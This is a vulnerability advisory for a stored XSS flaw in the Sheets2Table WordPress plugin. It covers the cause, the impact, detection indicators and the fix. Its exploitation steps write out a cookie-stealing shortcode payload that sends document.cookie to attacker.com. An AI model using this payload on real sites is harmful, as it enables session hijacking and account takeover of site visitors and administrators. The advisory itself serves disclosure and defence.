CVE-2026-3619: 
WordPress vulnerability analysis and mitigation

CVE-2026-3619 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sheets2Table plugin for WordPress, affecting all versions up to and including 0.4.1. It allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the titles shortcode attribute in the [sheets2table-render-table] shortcode. The vulnerability was published on March 21, 2026, and was discovered and reported by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, ENISA EUVD).

The root cause is insufficient input sanitization and output escaping (CWE-79). Specifically, the titles attribute value from the [sheets2table-render-table] shortcode is passed through S2T_Functions::trim_array_values(), which only trims whitespace, and is then echoed directly into HTML via echo $header inside a <th> tag in the display_table_header() function without any escaping function such as esc_html(). An attacker with at least Contributor-level WordPress access can craft a shortcode with a malicious JavaScript payload in the titles attribute and embed it in a page or post; the script executes in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators (including privilege escalation if an admin visits the injected page). The scope is changed (S:C in CVSS), meaning the impact extends beyond the plugin itself to the broader WordPress site and its users, with low confidentiality and integrity impacts (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3619 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the Sheets2Table plugin (version ≤ 0.4.1) by checking plugin metadata, readme files, or using tools like WPScan.
2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the following shortcode with a JavaScript payload in the titles attribute:

   [sheets2table-render-table titles="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" ...]

4. Publish the page: Submit or publish the post/page containing the malicious shortcode. WordPress will store the content, and the plugin will render the unescaped titles value into the page HTML.
5. Trigger execution: When any user (including administrators) visits the injected page, the malicious script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence, WordPress Trac).

• Logs: WordPress post/page content containing [sheets2table-render-table] shortcodes with titles attributes including <script>, javascript:, onerror=, or other event handler patterns in the WordPress database or audit logs.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing the Sheets2Table shortcode; unusual cookie or credential data in HTTP GET/POST parameters to attacker-controlled servers.
• File System: No direct file system artifacts expected for this stored XSS; however, review the WordPress database (wp_posts table) for posts containing suspicious titles attribute values in Sheets2Table shortcodes.
• Process/Application: Browser developer console errors or unexpected redirects when loading pages with [sheets2table-render-table] shortcodes.

Users should update the Sheets2Table plugin to version 0.4.2 or later, which addresses the vulnerability by properly escaping output. As a workaround prior to patching, site administrators can restrict Contributor-level users from creating or editing posts that use the Sheets2Table shortcode, or temporarily disable the plugin. Reviewing existing posts for malicious titles attribute values is also recommended (Wordfence, ENISA EUVD).